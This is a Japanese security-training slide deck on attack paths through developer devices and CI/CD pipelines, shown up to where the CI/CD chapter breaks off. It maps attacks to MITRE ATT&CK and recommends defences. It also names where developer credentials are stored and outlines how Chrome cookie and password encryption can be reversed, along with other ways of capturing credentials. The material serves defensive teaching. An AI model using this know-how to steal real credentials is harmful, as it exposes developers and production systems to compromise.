開発環境のセキュリティおよびCI/CDパイプラインのセキュア化

開発環境のセキュリティおよび
CI/CDパイプラインのセキュア化
Dangerous attack paths: Modern Development Environment Security
- Devices and CI/CD pipelines
セキュリティキャンプ全国大会2022 Webセキュリティクラス
Aug, 10th 2022
Hiroki SUEZAWA
日本語版 (Japanese Version) v1.0.4

View Slide

Who am I?
● Title
○ Senior Security Engineer at Mercari, Inc.
■ Security Architect, Automation, DFIR
■ Mercari Security Teamの紹介
● Career, Presentations
○ https://www.suezawa.net
○ Application基盤の仕組みを作るPlatform Teamと仕
事をしています
■ CI/CD Securityの攻撃手法マップの作成
■ 社内のKubernetes Security脅威分析・セキュ
リティアーキテクチャデザイン
■ Supply-Chain Attacksのインシデント対応など
@rung
@rung
Hiroki SUEZAWA
(末澤裕希)
/in/suezawa
2

View Slide

Disclaimers
● 本資料で学んだことを、悪用しないでください
● 演習内容
○ https://github.com/rung/training-devenv-security
● English Version
○ https://speakerdeck.com/rung/training-devenv-security-en
3

View Slide

想定ターゲット
セキュリティキャンプ全国大会2022 Webセキュリティクラス
● Software Engineer, Site Reliability Engineering Team, Platform Engineer
○ Webアプリケーションの開発をする人・基盤を管理、運用する人
● Security Architect
○ 上記の人たちと協働してセキュリティデザインを行う人
主なターゲット
Software Engineer
SRE/Platform
上記と協働する
Security Architect
Application
Infrastructure
今回の想定ターゲット外
社内ITチーム
その他のセキュリティチーム
(SOC, Security Complianceなど)
4

View Slide

ゴール
Threat Modelingによる
リスクの特定サイクル
(Microsoft)
Purple Teaming
攻撃目線・防御目線の協力
によるセキュリティ改善
(SANS)
5
● Webアプリケーションを直接狙わない、開発環境経由
の攻撃シナリオを把握する
● NISTなどのセキュリティフレームワークや各種ベスト
プラクティス、Public Cloud/SaaSなどの提供するセ
キュリティ機能について、開発環境観点からの重要度
の判断や、それらに足りていない項目の把握ができる
ようになる
● ベストプラクティスの確立していない新しい開発技術
においても、Threat Modelingや設計が出来るようにな
る

View Slide

Application Developmentのトレンド
● DevOps
○ 開発者と運用者の協力・融合
■ 高頻度のデプロイメント
■ 短期間での変更
■ 開発者も運用に関わるようになった
○ オートメーション
■ CI (Continuous Integration)
■ CD (Continuous Delivery)
● Infrastructure as codeとGitOpsなどの流れ
○ Gitを用いてコードでインフラを管理
○ Immutable infrastructure
■ 既にあるサーバにアップデートを当てるの
ではなく、コンテナなどを用いて、毎度ビ
ルドしなおしアップデートはコンテナごと
入れ替えるという流れになった
6

View Slide

スコープ
本講義では攻撃者による開発環境からの攻撃手法を扱う
（サーバ側経由での攻撃はスコープ外）
7
“守りたい場所”
スコープ

View Slide

アジェンダ
1. Introduction -
開発環境の変化と攻撃の流れ
2. 開発端末に残るもの
3. CI/CDパイプラインの
セキュリティ
下記の概要を把握し、クライアントサイドからの攻撃パスがあ
ることを理解します
● 最近の開発環境の変化
● 開発環境の変化による攻撃パスの違い
● 標的型攻撃の概要と攻撃手法のモデル
開発端末に対する攻撃に成功すると何が起きるのか、実際に演
習を通じて学び、開発者として出来ることを考えます
● 標的型攻撃の流れの把握
● 開発者端末でのCredential Access
● 守りかたを考える
8
新たなリスクを抱えるCI/CDパイプラインについて、なぜ危険
なのかを、演習を通じて学びます
● CI/CDパイプラインの理解
● CI/CDパイプラインを狙った攻撃の理解と実践
● 守りかたの理解と実践と限界

View Slide

演習内容
● 演習レポジトリ
○ https://github.com/rung/training-devenv-security
● 演習内容
○ Preparation: Google Cloud and GitHubのセットアップ
○ Exercise 1: 開発端末内のクレデンシャル調査
○ Exercise 2: クレデンシャルのセキュア化
○ Exercise 3: CI/CDとInfrastructure as Codeを試す
○ Exercise 4: CI/CDへの攻撃
○ Exercise 5: CI/CD pipelineのセキュア化
9

View Slide

1. Introduction -
10

View Slide

アジェンダ
1. Introduction -
セキュリティ
11

View Slide

この講義で扱う環境
● 最近採用されることの多い構成
○ IDaaS(Identity as a Service)などを用いたインターネット経由のシングルサインオン・社内
ネットワークの不使用
○ Source Code ManagementおよびCI/CDパイプラインの利用
○ Public Cloudの利用 12
つくるアプリケーションを
守る方法を考える

View Slide

利用されるサービスの例
13
IDaaS
(Identity as a Service)
Okta, OneLogin, Azure AD, Google Workspace
ソースコード管理 GitHub, GitLab
CI/CD
GitHub Actions, GitLab CI/CD, Jenkins, CircleCI, Google Cloud
Build, AWS CodePipeline, Spinnaker(CD), ArgoCD(CD)
Public Cloud Amazon Web Services, Google Cloud, Microsoft Azure

View Slide

この講義で扱う攻撃
スコープ内
Client-side Attacks フィッシングにより遠隔操作型マルウェア(RAT)に感染させる攻撃など ※IT
Admin経由の攻撃はスコープ外
Supply-chain Attacks 3rd party toolやアプリケーションの依存関係を狙った攻撃など
スコープ外
Server-side Attacks サーバ側(ネットワーク・ミドルウェア・Webアプリケーションなど)の脆弱性
を狙った攻撃、Webアプリケーションの利用者を狙った攻撃
IT Admin IDaaSの管理権限や仕組み・デバイス管理システムを狙った攻撃など 14
つくるアプリケーション
を守る方法を考える
スコープ

View Slide

1. Introduction - 開発環境の変化と攻撃の流れ
1.最近の開発環境の変化
最近の開発環境周辺の変化と、なぜ今回開発端末とCI/CDパイプラインのセ
キュリティを扱うのかについて説明する
15

View Slide

最近の開発環境の変化
以前の開発環境
● 閉じたネットワークごとの信頼境界を持つアーキテクチャ
● Active Directoryの使用・自社管理
● 社内ネットワークを通じたサーバへのログイン
16

View Slide

以前の開発環境の課題
17
同一ネットワーク経由で
の、脆弱性を突いた別端末
への横展開
脆弱性や認証不備などを突い
た、社内端末からのドメインコ
ントローラ全体の掌握
同一ネットワーク内を狙ったリレー
攻撃などによる認証情報の奪取
弱い認証方法による
サーバログイン

View Slide

開発環境の変化の理由
● 上記により、今回扱う開発環境の想定は下記とする
○ IDaaSなどを用いたインターネット経由のシングルサインオン・社内ネット
ワークの不使用
○ Source Code ManagementおよびCI/CDパイプラインの利用
○ Public Cloudの利用
業務環境の変化 ● SaaS(Software as a Service): 守る情報が外に移った
● 業務環境: 会社だけでなく外でも働くようになった
脅威の変化 ● 外からの攻撃だけでなく、標的型攻撃などによる中からの攻撃も考
慮が必要になった
● サプライチェーンリスクが顕在化した
サーバの管理 ● CI/CDパイプライン: インフラのコード管理、自動デプロイメント
やコンテナの活用による安定した運用が行われるようになった
● Public Cloud: ソフトウェアエンジニアも基盤を触るようになった
18

View Slide

(再掲)この講義で扱う攻撃
スコープ内
Client-side Attacks フィッシングにより遠隔操作型マルウェア(RAT)に感染させる攻撃など ※IT
Admin経由の攻撃はスコープ外
Supply-chain Attacks 3rd party toolやアプリケーションの依存関係を狙った攻撃など
スコープ外
Server-side Attacks サーバ側(ネットワーク・ミドルウェア・Webアプリケーションなど)の脆弱性
を狙った攻撃、Webアプリケーションの利用者を狙った攻撃
IT Admin IDaaSの管理権限や仕組み・デバイス管理システムを狙った攻撃など 19
つくるアプリケーション
を守る方法を考える
スコープ

View Slide

● なぜ開発者の端末(2章)とCI/CDパイプラインのセキュリティ(3章)が重要か
○ その攻撃パスを用いたプロダクション侵害が可能だから
開発環境のセキュリティとCI/CDパイプライン
守りたい場所
1. 開発環境が標的型攻撃
の起点になることが多い
から
2. CI/CDは、本番環境
につながる新たな攻撃
パスだから
20

View Slide

2.開発環境の変化による攻撃パスの違い
開発環境周辺の変化によって生まれる変化を考えます
21

View Slide

開発環境の変化による攻撃パスの違い
攻撃に対する考え方
● 攻撃の考え方は環境が変化しても変わらない
○ 目的を持って、権限昇格・横移動・認証情報の取得を繰り返し侵入を広げていく
○ Bloodhound: Active Directory環境においてゴール(高権限アクセス・ドメインコント
ローラー掌握など)に向けての攻撃パスを描いてくれるツール
■ Active Directoryがない環境でも、攻撃の考え方は同様
BloodHound – Sniﬃng Out the Path Through Windows Domains
攻撃者は、グラフを探索することで、高い価値を持つ資産へ
の複数のパスを発見します。
…
防御側として何ができるでしょうか。まず、最初のステップは
リストをグラフに変えてネットワークを可視化することです。
次に、グラフ（攻撃パス）をなくすためのコントロールを実装し
ます。
Defenders think in lists. Attackers think in graphs. As long as
this is true, attackers win. - Microsoft Blog
(防御側はリストで考える。攻撃者はグラフで考える。それが正し
い限り、攻撃者が勝利する )
22

View Slide

(再掲)以前の開発環境の課題
23
同一ネットワーク経由で
の、脆弱性を突いた別端末
への横展開
脆弱性や認証不備などを突い
た、社内端末からのドメインコ
ントローラ全体の掌握
同一ネットワーク内を狙ったリレー
攻撃などによる認証情報の奪取
弱い認証方法による
サーバログイン

View Slide

開発者環境の変化: ゴールに到達する攻撃パスの増加
●ネットワーク経由での直接の横展
開は難しくなった
●残る攻撃
○社内フィッシング攻撃による横
展開
○ファイル共有汚染
○コミュニケーションツールを利
用したソーシャルエンジニアリ
ングなど
攻撃パスが増えた
認証の方式が変わった
Active Directoryはな
くなった
DevOpsのトレンドやクラウ
ドの普及により、多くの開発
者が直接基盤を扱う機会が増
えた
※ 組織により実際の利用サービス・設定は異なる
守りたい場所
IDaaSやデバイス管理はSaaSのためサーバ管理は
別の会社が行うようになった
一般デバイスから直接侵害される可能性は減った
24

View Slide

3.標的型攻撃の概要と攻撃手法のモデル
標的型攻撃がどのように行われるのか、具体例と、攻撃の流れを説明するモデ
ルを用いて考えます。そして、具体的な攻撃手法に基づくセキュリティの共通
言語であるATT&CKを学びます。
25

View Slide

標的型攻撃の概要と攻撃手法のモデル
スピアフィッシング経由でのマルウェアを利用した標的型攻撃の流れ
(参考) Anatomy of an APT attack: Step by step approach - Infosec Resources
日本における有名な標的型攻撃の例: CoinCheck事件 (2018) 26
Attacker
1.Reconnaissance
(情報収集)
2.Initial Foothold
(初期侵入)
3.Lateral Movement
(横移動)
Spear
Phishing
C2 Server
C2: Command & Control
4. Exﬁltration
(持ち出し)
Device
Data of Interest

View Slide

3rd partyツールやソフトウェアの依存関係などを狙ったサプライチェーン攻撃
● 全フェーズにおいて、3rd partyツールやソフトウェアに依存している
● 依存関係における一か所が侵害されると、そのまま侵入に繋がる
● ソフトウェアは大量の依存関係を持つ (Kubernetesの例) 27
2021:
CodeCov bash uploader hacked
PHP.net hacked
PyPI.org’s vulnerability
Homebrew Cask’s vulnerability
…
Public Cloud

View Slide

攻撃ライフサイクルの説明モデル: Cyber Kill Chain
28
Objectives
Impact
Exﬁltration
Collection
Access
Lateral
Movement
Credential
Access
Execution
Privilege
Escalation
Discovery
Pivoting
Command
& Control
Defense
Evasion
Persistence
Exploitation
Social
Engineering
Delivery
● Uniﬁed Cyber Kill Chain 「Cyber Kill Chain」というモデルの改良モデル
○ 初期侵入から目的達成までの、標的型攻撃全体のライフサイクルを説明
するモデル
○ 攻撃はこのように、初期侵入後、侵入・遠隔操作・横移動・権限昇格・
認証情報アクセスなどを繰り返しながら目的に到達する
Weaponization
Reconnaissance
Access
Initial Foothold - Compromised System
Pivoting
Network Propagation - Internal Network
Action on objectives - Critical Asset Access

View Slide

MITRE ATT&CK Frameworkとは
● MITRE ATT&CK Framework
○ 今回の講義でメインで用いる、TTPs(攻撃者の攻撃手法)を説明するフレーム
ワーク
29

View Slide

● なぜMITRE ATT&CK Frameworkか
標的標的型攻撃の概要と攻撃手法のモデル
ATT&CK succinctly organizes adversary tactics and techniques along
with providing a common language used across security disciplines.
(訳) ATT&CKは攻撃者の技術と戦術を簡潔に整理し、セキュリティ組織にお
いて使用する共通言語を提供します。
MITRE ATT&CK: Design and Philosophy
● 共通言語(Common Language)として使用できる
○ セキュリティ組織内での共通言語として使用できる
○ (経験的に) コミュニティにより常に更新され、内容にも
具体性があるため、開発組織（ソフトウェアエンジニア
・SREなど）とセキュリティ組織とのコミュニケーショ
ンにおいてもATT&CKをベースにしてコミュニケーショ
ンすることが出来る
Cyber Threat
Intelligence
Detection &
Analysis
Threat
Emulation
Assessment &
Engineering
30

View Slide

Reconnaissance The adversary is trying to gather information they can use to plan future operations.
Resource Development The adversary is trying to establish resources they can use to support operations.
Initial Access The adversary is trying to get into your network.
Execution The adversary is trying to run malicious code.
Persistence The adversary is trying to maintain their foothold.
Privilege Escalation The adversary is trying to gain higher-level permissions.
Defense Evasion The adversary is trying to avoid being detected.
Credential Access The adversary is trying to steal account names and passwords.
Discovery The adversary is trying to ﬁgure out your environment.
Lateral Movement The adversary is trying to move through your environment.
Collection The adversary is trying to gather data of interest to their goal.
Command and Control The adversary is trying to communicate with compromised systems to control them.
Exﬁltration The adversary is trying to steal data.
Impact The adversary is trying to manipulate, interrupt, or destroy your systems and data.
Tactics一覧
31

View Slide

複数の領域のMATRIXが用意されている
画像: MITRE ATT&CK Defender™ (MAD) ATT&CK® Fundamentals Badge Trainingより
それぞれの戦術(Tactic)に対して、Techniqueが紐づく
32

View Slide

● Techniques, Mitigation and Detection
Home > Techniques > Enterprise > Unsecured Credentials 33

View Slide

● (参考) 攻撃グループ
Home > Groups 34

View Slide

MITRE ATT&CK Frameworkの意義
● 攻撃パスの全体像および、具体的なTTPs(攻撃者が使っている攻撃手法)を把握する
ことで、一つ一つの対策が、攻撃をどのように緩和するのか、具体的に理解するこ
とができる
○ 対策が難しい部分について、どの程度の攻撃アクター・手法を想定するかとい
う観点も検討できる
● 利用例: Kubernetes Securityを、ATT&CKのContainer Matrixおよび
ATT&CK-likeな情報をベースに対策の検討を行う
○ セキュリティ内: 具体的な防御の検討や監視の検討・実施を行う
○ 基盤開発チーム: アーキテクチャ・設定の検討・実施を行う
■ 基盤開発チームもUniﬁed Cyber Kill Chainのような攻撃の全体像を理解
し、攻撃の入口がサーバ経由だけでなく、マルウェアを利用した攻撃や
サプライチェーン攻撃などもあることを理解することで、セキュリティ
チームとさらによいコラボレーションが出来る
35

View Slide

(参考) セキュリティチームの基本原則
● セキュリティ対策の目的は、”攻撃を不可能にする”ではなく、”リスクを減らし許容可能なレベルまで
減らす”
○ 攻撃ライフサイクル全体(Cyber Kill Chain)において、攻撃者の目的達成の難易度を上げる
● リスクを減らす手段は防止だけではない。防止できない場合も、他の手法によりリスク低減できる
○ 主なリスクの下げ方
■ Prevention: 防止 (既存の環境に影響を与える可能性がある)
■ Detection: 検知 (影響を与えずに実施ができる)
■ Directive: ルールや啓発
● その他の重要なコンセプト
○ Defence in depth (多層防御)
■ 侵入を前提として、Single Point Of Failureを作らず対策を積み重ねる
○ Least Privilege
■ 権限を最小化する
○ Secure by default
■ Secureな状態をデフォルトにする仕組みを作れると、利用者は迷わずにセキュアな状態を
選ぶ。デフォルト状態を正しいものにする効果は行動経済学などでも提唱されている
● 参考: https://en.wikipedia.org/wiki/Default_eﬀect
36

View Slide

本章のまとめ
○ 最近の開発環境周辺の変化を踏まえた上で、攻撃の起点となる開発端末と、新
たな攻撃ポイントであるCI/CDパイプラインのセキュリティを扱う背景を説明
した
○ 環境が変化しても、攻撃の考え方は変わらないこと、攻撃パスの違いを示した
○ 標的型攻撃について、スピアフィッシングを経由したマルウェアを用いたもの
と、サプライチェーン攻撃の例を説明した上で、具体的な攻撃のステップを
Uniﬁed Cyber Kill Chainを用いて説明した。その後、共通言語である
ATT&CKフレームワークの内容および、対策の考え方を説明した
37

View Slide

演習準備の実施
● 下記の演習準備を実施する
○ https://github.com/rung/training-devenv-security/tree/main/0-prepar
ation
■ * 演習ではIDaaSは扱いません
● 終わった人は、MITRE ATT&CKフレームワークを確認する
○ https://attack.mitre.org/

View Slide

39

View Slide

アジェンダ
1. Introduction -
セキュリティ
40

View Slide

本章の位置付け
● 標的型攻撃の起点になることが多い、開発者の端末が今回のスコープ
○ 侵入されることを前提に、端末からどのようなものが窃取できるのかを考える
初期侵入・権限昇格・環
境調査・横展開・クレデ
ンシャルアクセス・持ち
出しなどが行われる
守りたい場所
41

View Slide

1.標的型攻撃の流れの把握
前章で学んだATT&CKフレームワークをベースに、端末が攻撃が受けたときの
攻撃の流れを把握します
42

View Slide

標的型攻撃の流れの把握
(再掲)スピアフィッシング経由でのマルウェアを利用した標的型攻撃の流れ
(参考) Anatomy of an APT attack: Step by step approach - Infosec Resources
日本における有名な標的型攻撃の例: Coincheck事件 (2018) 43
Attacker
1.Reconnaissance
(情報収集)
2.Initial Foothold
(初期侵入)
3.Lateral Movement
(横移動)
Spear
Phishing
C2 Server
C2: Command & Control
4. Exﬁltration
(持ち出し)
Device
Data of Interest

View Slide

開発端末におけるATT&CK
偵察初期侵入
Windows
Matrix
コード実行 Post Exploitation
Tactics抜粋例
Persistence Scheduled Task/Job
権限昇格 Valid Accounts
検知回避 Deobfuscate/Decode Files or
Information
Credential
Access
Steal Web Session Cookie
環境調査
(Discovery)
Browser Bookmark Discovery
横移動 Internal Spearphishing
データ収集 Browser Session Hijacking
持ち出し Exﬁltration Over C2 Channel
フィッシング・
サプライチェーンなど 44

View Slide

● Command & Control
○ 遠隔操作型のマルウェアは操作を行うために、C2サー
バと通信する
■ C2フレームワークの一覧: The C2 Matrix
Command & Control (C2)
【補足】※本講義では詳細を扱わない
Post-Exploitation全体を取り扱うツール:MetasploitやEmpireなど
C2フレームワーク: Covenantなど
Device
(Victim)
Attacker
直接通信の場合
一般サイトを経由の場合
(検知回避などの目的)
45
* C3

View Slide

端末から盗めるもの
● Credential Access
○ 端末に保管されているパスワードやWebの
セッションへのアクセス
● Collection
○ ローカルやファイルサーバ・Slackなどの
チャットサービスなどに保管されているデー
タの収集
今回はWebプロダクションに繋がる情報を直接持ち
うるため、Credential Accessに注目する
Windows
Matrix
46

View Slide

2.開発者端末でのCredential Access
開発者端末が侵害された場合、どのようなCredentialが取られうるのか、実習
も通して理解します
47

View Slide

開発者端末でのCredential Access
端末にあるCredentialを考える
● 端末目線から見たCredentialの利用と発行
端末・Webブラウザ
利用したいサービス
(GitHub, Cloudなど)
※ シングルサインオンの仕組みやサービスによる差分
は取り扱わない
リダイレクト
IDaaS
(シングルサインオン)
ユーザがCredentialを利用してログイン
(例: ID, Password, 2要素認証情報など)
セッション維持のためのIDaaSのCookieの発行
(GitHubなど)
セッション維持のためのサービスのCookieの発行
ログイン
Credentialの
登録
SSH Public Keyの登録
Credentialの
発行
(GitHub, Cloud Serviceなど)
48
● 強固な認証を行っても、その後発行されるトークンなどを窃取されると突破される
（演習で確認する）
アクセストークン・Static Keyなどの発行

View Slide

端末にあるCredentialを考える
Credential例説明ローカルでの保存形態
Browser Cookie Chromeなどのブラウザに保管されたCookie OSのセキュリティ機構(DPAPI/Keychain)を用いた共通鍵
(AES-GCM)暗号化
Browser Password Manager Chromeなどのブラウザに保管されたPassword OSのセキュリティ機構(DPAPI/Keychain)を用いた共通鍵
(AES-GCM)暗号化
Browser Local Storage Chromeなどのブラウザに保管されたLocal Storage 平文
SSH Private Key GitHubなどに登録したSSH Public Keyに紐づくPrivate Key 平文 or passphrase暗号化
PGP Signing Key GitHubなどに登録したPGP Public Keyに紐づくPrivate Key 平文 or passphrase暗号化
GitHub Token GitHubから発行されたトークン平文
AWS Access Key AWSから発行された長期鍵平文
AWS Security Token AWSから発行された一時トークン平文
Google Cloud Access Token Google Cloudから発行されたユーザIDでのアクセストークン平文
Google Cloud Service Account Key Google Cloudから発行されたサービスアカウントIDでのアクセストークン平文
Password Manager内のCredential 1PasswordやLastpassなどのパスワードマネージャー内のCredential
ID/PasswordだけでなくSSH Key, トークン類, TOTPによる2FA情報なども
含みうる
(サービスによる)
OSのセキュリティ機構(DPAPI/Keychain)とパスワードによ
る組み合わせによる暗号化など 49

View Slide

Webブラウザのデータ
● ローカルマシンへの攻撃はChromeのThreat Modelのスコープ外とされている
Why aren‘t physically-local attacks in Chrome’s threat model?
…
We consider these attacks outside Chrome's threat model, because there is no way for Chrome (or any application) to defend against a
malicious user who has managed to log into your device as you, or who can run software with the privileges of your operating system user
account.
(要約) 物理的な攻撃は ChromeのThreat modelの範囲外。なぜなら Chromeがその攻撃に対して守る手段がないから
Why aren‘t compromised/infected machines in Chrome’s threat model?
Although the attacker may now be remote, the consequences are essentially the same as with physically-local attacks. The attacker's code,
when it runs as your user account on your machine, can do anything you can do. (See also Microsoft's Ten Immutable Laws Of Security.)
(要約) 侵害されたマシンも物理的な攻撃と同様
Chromium Docs - Chrome Security FAQ
50

View Slide

Webブラウザのデータ
● ChromeのProﬁleフォルダ
Cookies
or /Network/Cookies
形式: SQLiteファイル
暗号化: AES(GCM or CBC)暗号化 (OSのセキュリティ機構を利用)
参考: ATT&CKでの該当ページ
History 形式: SQLite
暗号化: なし
Local Storage/ 形式: LevelDB
暗号化: なし
※ アクセストークンなどをLocal Storageに保管する例がある
Login Data 内容: Password
形式: SQLiteファイル
暗号化: AES(GCM or CBC)暗号化 (OSのセキュリティ機構を利用)
参考: ATT&CKでの該当ページ
※ Electronを用いて作られたローカルのアプリケーションも、
Chromiumのため同様のディレクトリ構造
51
● ChromeのCookieなどは、Remote Debugを用いてもパスワードなしで盗むことが
できる(参考)。メモリダンプなどでも取得できる。

View Slide

● （フィッシング）SSO(シングルサインオン)などのログインページを模したフィッ
シング攻撃によるセッション奪取
● （マルウェア侵入後）スクリプトによる実行ファイルのラップ
○ ラップした別のスクリプト用いて、ユーザにパスワードを入力させることで平
文パスワードを手に入れる
その他のCredentialの窃取例
ID, Password, TOTPトークン ID, Password, TOTPトークン
ログイン成功
偽ログインページ正規ログインページ
Device
52
SSH
git
gpg
Password入力
アップロード
正規実行
ファイル

View Slide

演習1: What credentials your PC has
● 下記の演習を実施する
○ https://github.com/rung/training-devenv-security/tree/main/1-exercise1
● ゴール
○ 自分のPCにあるクレデンシャルを把握する
53

View Slide

(参考) ChromeのCookieとPasswordのファイル暗号化
54
Windows Mac
https://github.com/rung/HackChromeData
1. Extract Symmetric key
Local State
(Encrypted symmetric key) DPAPI
Application symmetric key
Application
Keychain
(Chrome Safe
Storage)
Local Password
Seed
Symmetric key = PBKDF2(Seed, "saltysalt", 1003, 16, sha1.New)
2. Decrypt Cookie and Password
The symmetric key can decrypt Cookie and Password.
Windows: AES-GCM
Mac: AES-CBC
Cookie, Password(Login Data)
SQLite3 Format
● Decrypt Chrome Cookie and Password

View Slide

3.守りかたを考える
開発端末にCredentialがたくさんあることを前章で見てきました。その上で、
攻撃のリスクを下げる(攻撃を難しくする)ために、どのようなことが出来るか
を考えます
55

View Slide

守りかたを考える
Credentialの種類
● 端末から取得したCredentialsの種類を分ける
○ 認証に必要なCredential
■ ID/Password
■ パスワードマネージャーに入りうるTOTP Seed, クライアント証明書など
○ 初期認証が終わったあとに登録・取得するCredential
■ ブラウザに保管されたCookie
■ GitHubのTokenやSSH Key
■ Public Cloudのトークン・鍵
56

View Slide

(参考) 認証に必要なCredential
● 認証を守る
○ WebAuthnなどによる、ネットワーク越しに盗めない機構(Security
KeyやDeviceの暗号Chipなど)を用いてオリジンベースで認証する仕組みを用いる (参考)
■ External Authenticator(Security Key), On-Device Authenticator(Touch IDなど)
● 2FA(2要素認証)の強度
Type Password Cracking Resistant
(Brute force/Credential Stuﬃng)
Phishing Resistant Hardware-Protected
(秘密鍵の取り出し防止)
Password Only Weak Weak Weak
TOTP (e.g. Google
Authenticator)
Strong Weak Weak
SMS / Voice / Email Strong Weak Weak
Push Veriﬁcation Strong Moderate Strong
FIDO2 (e.g. Security
Key, Windows Hello and
Touch/Face ID)
Strong Strong Strong
57
一部上記の表は実装などにより例外の可能性あり

View Slide

社内IT・Securityの領域
2要素認証の種類ごとのAccount Take Overの防止レートに関する報告(Google, 2019)
Google Online Security Blog: New research: How eﬀective is basic account hygiene at preventing hijacking 58

View Slide

● 2FA(2要素認証)に加えたシングル・サインオン認証の保護
認証への組み合わせ効果の例
インベントリに紐付いたTPMベースの
デバイス認証
攻撃への対策: 攻撃者端末からのログイン、フィッシング攻撃対策
社内統制: BYODやユーザに紐付かない端末からのログインを防ぐ
端末のセキュリティ状況などに紐付い
た認証
攻撃への対策: マルウェアに感染しやすい端末からのログインを防ぐ
社内統制: 許可していない場所からのログインや、アップデートやセキュリティ対
策が行われていない端末からのログインを防ぐ
リスクベース認証
(ロケーションやログインアクティビ
ティなど)
攻撃への対策: 不正ログインの成功確率を下げる
【補足】
企業のサイバーセキュリティ対策で参考になる文献: CIS Controls
(技術だけでなく、組織・プロセスなどもSecurityの観点では重要になる)
いわゆる”ゼロトラスト”やセキュリティのアーキテクチャで参考になる参考文献:
Beyond Corp, Microsoft Security Guidelineなど
また、今回パスワードに加えて2FAを用いるケースを紹介したが、パスワードを
使用しないこともある(Passwordless)
59

View Slide

初期認証が終わったあとに登録・取得するCredential
● 対策例
対策例関係するCredentialの種類効果の例
最小権限化全Credential 最小権限により窃取されたトークンで出来ることが最小化される
統制: 必要のない人が高権限を持つことを抑える。Policy-as-codeなど
も使用可
権限を一時的に付与全Credential 一定期間後、ユーザの持つ権限をはく奪する
例: デフォルト権限はReaderで、期限付きでOwner権限を取得
発行したCookie/Token
への有効期限設定
全Credential 窃取されたトークンが一定期間後後、失効し使えなくなる (参照)
※ 「○分間操作がなければ」でなく、一定時間経過後に強制的に再認証させる
操作に対する承認を行う GitHubなど 1つのトークンだけでは大きな操作が出来ないようになる
Static Keyの発行の禁止例: GoogleのService Account
keyなど
長期鍵がローカルに残らないようになる
統制: クラウド内の認証の仕組み(Workload Identityなど)、クラウド間
の認証の仕組み(OIDCなど)を用いることにより、どこから利用している
かが分かる
ネットワーク制限や端末
制限の追加
全Credential 窃取されたトークンが別の環境からは使えないようになる
不正監視全Credential 環境の不審な活動を監視する (Security Monitoringの領域)
60

View Slide

Credentialsの保管
61
● 長期的に使用するCredentialの保管方法(Password, Static Key, Token, SSH Keyなど)
○ そもそもCredentialを持たないKeylessを基本的に採用する
■ Cloud内ではStatic Keyを持たずに認証できる, Cloud間もOIDCを用いてKeylessで認証で
きる(次章でGitHub ActionsからGCPへのKeylessアクセスを実践する)
○ Keylessに出来ないCredentialの保管方法
■ サーバやクラウドサービス上のSecret Managerなどに保管・管理する
● Hashicorp Vault, AWS Secrets Manager, Google Secrets Managerなど
○ 監査ログを取得でき、取得制限もかけられる
■ SSH Keyの保管・利用にはSecurity Keyを用いる
■ Cloudの長期鍵などは、使用する場所に保管した後、端末からは削除する
○ (限界) ただし、現実的にそのような保管が出来ないケースは存在する
■ 前ページの対策を組み合わせながら、可能な限りセキュアにする
■ (参考) Secret混入の検知・防止する機能・ツールを利用する
● GitHub Push Protection, GitLab Secret Detection, TrivyによるSecret
Scanning, VS Codeのextensions , etc

View Slide

(参考) 端末そのもののセキュリティ
● 今回の講義では侵入を前提としているものの、端末自体のセキュリ
ティを強化することによりリスクを下げることもできる
● 対策例 ※攻撃者はDefense Evasionを調査していることに注意
○ ソフトウェアの資産管理・脆弱性の管理
○ OSなどのソフトウェアの堅牢化
○ マルウェア対策・調査手段の確保
■ EDRやマルウェア対策ソフトウェアの使用
■ そもそもマルウェア感染が起きづらい・App間の分離がされている端末を使用
● 適切に設定されたChrome OS, iOS, Androidなど
○ ネットワーク制限
■ 端末間の通信制限・外向き通信制限によるC2サーバへの接続防止など
● ソフトウェア・基盤開発者の領域で出来ること・出来ないことがある
● 自分たちの作るアプリケーションのセキュリティが、他の組織も含めた対策によ
り変わってくることを認識しておく
※ 今回スコープ外だが、IT Admin権限の窃取によるクラウド侵害も攻撃パスとして存在する
62

View Slide

演習2: Try to secure your token
● ゴール
○ クレデンシャルのセキュア化を試してみる
63

View Slide

本章のまとめ
○ ATT&CKにおいて、端末への攻撃がどのように表現されているかを説明した
○ 端末に残りうる認証情報にどのようなものがあるかを確認した
○ 強固な認証を行っても、その後発行されるトークンなどを窃取されると突破さ
れることを学んだ
○ 認証情報に対するセキュリティの強化という目線から、対策としてどのような
ことができるかを説明した
○ ソフトウェアや開発の基盤の開発者からは出来ないことも多く、他チームも含
んだ対策によりリスクが減るケースが多いことを説明した
○ クレデンシャルの保管には課題も多いことを説明した
64

View Slide

3. CI/CDパイプラインのセキュリティ
65

View Slide

アジェンダ
1. Introduction -
セキュリティ
66

View Slide

本章の位置付け
● 新たな本番環境への侵入口となったCI/CDパイプラインについて、前章までに扱っ
た端末側への攻撃の観点と、パイプラインへのサプライチェーン攻撃の観点の双方
からの攻撃を考える
新たに増えた本番接続口
67
守りたい場所

View Slide

1. CI/CDパイプラインの理解
CI/CDパイプラインがどのような理由で使われるようになったのか、どのよう
な用途での利用を行えるのか理解し、実際に演習を行います
68

View Slide

CI/CDパイプラインの理解
Application Developmentのトレンド
● DevOps
○ 開発者と運用者の協力・融合
■ 高頻度のデプロイメント
■ 短期間での変更
○ オートメーション
■ CI (Continuous Integration)
■ CD (Continuous Delivery)
● Infrastructure as codeとGitOpsなどの流れ
○ Gitを用いてコードでインフラを管理
○ Immutable infrastructure
■ 既にあるサーバにアップデートを当てるの
ではなく、コンテナなどを用いて、毎度ビ
ルドしなおしアップデートはコンテナごと
入れ替えるという流れに
● 多くのソフトウェア開発者を抱える会社でCI/CDパイプ
ラインの活用は進んでいる
69

View Slide

CI/CDパイプラインとは何か
● CI/CDのユースケース
○ アプリケーションの開発
○ Infrastructure as Codeにおけるインフラの管理 (Terraformなど)
70

View Slide

CI/CDパイプラインのツール
● Managed CI/CD Servicesの例
○ GitHub Actions (Managed)
○ AWS CodePipeline
○ Google Cloud Build
○ GitLab CI/CD (Managed)
○ CircleCI, etc
● Self-Hosted CI/CD Servicesの例
○ Jenkins
○ GitHub Actions (Self-Hosted)
○ Drone
○ GitLab CI, etc
※ コンテナのデプロイメントの管理(CD)はSpinnakerやArgoCDなどのツールが使われることも多い
が、役割は類似であること、コンテナのビルドまでは上記ツールで行われることが多く同様に攻撃で
きるため、今回は扱わない
71

View Slide

CI/CDパイプラインのインパクト
● CI/CDパイプラインへの攻撃は大きなインパクトを持つ
○ CI/CDはプロダクション環境と直接つながっているから
○ 環境変数に長期鍵を保管して権限をもたせるのがプラクティスになっている
○ 本番に繋がるトークンが、Review不要の誰でも変更できるブランチを経由し
